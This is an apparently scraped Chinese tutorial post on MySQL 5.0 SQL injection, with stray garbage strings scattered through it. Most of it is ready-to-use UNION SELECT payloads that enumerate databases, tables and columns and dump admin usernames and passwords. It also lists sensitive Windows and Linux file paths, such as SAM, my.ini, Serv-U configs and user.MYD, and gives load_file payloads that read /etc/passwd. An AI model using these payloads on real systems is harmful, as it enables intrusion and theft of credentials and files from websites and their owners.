mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
& j2 H9 T1 Z" g4 X, O


& W# [& G, t7 fMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
4 G" b1 k/ s1 l2 t- X+ S中记录了Mysql中所有
& t; L, e* v9 M' h存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
1.得到所有数据库名：
" j6 g6 |! ^, u. H3 a; A# G- u|SCHEMATA ->存储数据库名的表
# C6 P9 c+ c, }|—字段：SCHEMA_NAME ->数据库名称
! S# E6 Q' B, P. r
|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
- ]4 [, I* _) k& z6 h% R5 j|—字段：TABLE_NAME ->存储表的表名

0 A$ h; N) \3 [# f% ]|COLUMNS ->存储的字段名表
5 z* _4 m; b/ h4 I) C- c+ C$ u|—字段：TABLE_SCHEMA ->该字段所属数据库名
" R. G0 S* O% S3 H! }  @|—字段：TABLE_NAME ->存储所属表的名称
! J# e* q( S" q* {; y# {
" u% [: n( f- y1 m6 i|—字段：COLUMN_NAME ->该字段的名称
9 [7 t: }4 e7 q1 z( N: C
#########################################################################
##

0×001 获取系统信息:
1 ~  l% r: {; ^* O8 p# j* v/ N" {1 I0 O
% U6 c  H5 S' e3 s% q8 |union select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
# o' {$ Y" s7 [" |; R/ @! A(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*
; s0 c( ?# ^  n. a- X3 i) _6 k
@@global.version_compile_os 获取系统版本
0 C  d. y, \; Q4 D, d
6 i0 E5 ]5 e, u+ `6 F9 \, G% V@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值
% ]# t/ b6 R6 X' n6 b
*/
( u" G2 U; \6 [2 v' _6 u
######################################################################

0×002 获取表名
0 t& A2 j1 H  X3 G5 e4 d
! O: H' Y: W' Z; ~) ]union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
/ r. y' b2 ]* q: T# ginformation_schema.tables where table_schema=0x67617264656e /*

0 P/ }: d! [1 i9 d8 o9 r/*
; o- F7 T! y3 |
0x67617264656e 为当前数据库名
" g. ], `( d% m/ e& v
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
( H; ^6 D+ o1 ~/ S9 R$ g) \
) b# `: J* |# [. V4 U% O*/

######################################################################
2 b! x1 q5 G; S4 b4 g, _; t
& K5 K1 f9 o- \0×003 获取字段
' }" T* P) _: z8 r
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and

6 l& d1 v+ U0 M
table_schema=0x67617264656e limit 1 /*
5 x" E4 R% h' |* N8 G1 z- t
/*
- S* r" x" a# s+ S+ P! ^
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
4 Y! N8 d4 b" c; Q$ ]( N/ v
0 T# K! d8 a8 |0 f/ g+ d0x61646d696e ->选择一个表
# e5 |' ?# O: R" s
: M7 A- B) j' ?& n0 T; [1 o* F# y( ^0x67617264656e ->数据库名

/ Z2 u1 P' y, _. T4 a1 e*/

#####################################################################

: I* E1 Z2 L: T% B( U0×004 获取数据

union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

* V8 T% T1 z' n- f8 I8 `union select 1,group_concat(id),group_concat(adname),4,5,group_concat
6 a, B0 \& Q5 B/ P- s  f: E/ x/ \(adpassword),6,7,8 from admin

- t- \: D- |# M' e/*
% w3 S6 v( O7 q: U" E
0x3c62723e 换行符号HEX编码
8 G4 A1 J; q6 M6 B7 a" ?! v/ k
group_concat 同时获得该字段所有数据
4 V% e& ?. I! ~+ |  n. N; \4 i2 S
*/


1 [5 c* _, b9 c% d9 |" m' p) t
4 m8 j4 J# v4 M9 O; E, U- W5 i* w
0 O  Z; j- X5 b/ @
% x  f, B3 @9 t* b$ i顺便添加一些mysql注入时非常有用的一些东西

9 V, v; ]8 _. e9 N8 `5 A简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
0 s% \% e% {; m8 A
1:system_user() 系统用户名
2:user()        用户名
3:current_user()  当前用户名
4:session_user()连接数据库的用户名
3 O' g* S$ \% @- a, A5:database()    数据库名
6:version()     MYSQL数据库版本
' q7 ]5 ?( X2 i& A9 e0 z7:load_file()   MYSQL读取本地文件的函数
9 q7 G! @  K" @8@datadir     读取数据库路径
8 {  F0 V. U& a3 _( z, `! y9@basedir    MYSQL 安装路径
& l$ Z2 o4 ^6 H. v# Z) ], u10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
  Y5 i& B6 v  s1 X; OWINDOWS下:
' @7 q$ A4 r. g2 X) C$ [7 gc:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
6 C' G' D! ?4 o4 tc:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
# J4 G& S& Y2 g2 M9 Sc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
9 T* Q, p/ f0 cc:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
7 y3 Q# c3 D( _2 }0 Hc:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
3 _( Z  [1 m+ Q0 L' y" Y& J" J* Gc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.


c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
/ Q6 [) V' z2 p3 Z) MC:\Program Files\mysql\my.ini
0 `0 i1 s6 \! }+ L, o' wc:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
7 x+ k- x% a# F  ZC:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
) B& V( S: Q" x. V6 c) Y8 q+ h+ ?3 E1 W
. H; h7 u# v; H/ t5 f8 n4 YLUNIX/UNIX下:
4 [8 G4 W7 I% ~' p' v& E& {/ W) R' q/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
: p$ |9 \3 l4 o  {4 T/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
% J1 E  s& p3 |! r: {/etc/sysconfig/iptables //从中得到防火墙规则策略
& |- x5 X# r' B9 K$ d% T/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
- E7 j9 n( \2 {! D6 f2 x& D/etc/issue
2 m1 z' c1 b, b  P( F" a/etc/issue.net
' J0 G0 {$ P: E" D/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
) f  ]1 {! T( S  @# x  n/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
3 T/ {/ a- v1 g+ q) p( A. {: e/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/ S/ Q5 e: W5 d8 b& W/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
; F) t. u' Y% c. Q( eload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
$ b+ `1 |( G9 n) n% }+ T! Dreplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
% ~+ {- d! e9 Y0 }, b' k0 w9 P! A
4 H" ]5 I/ J, J( S+ L: K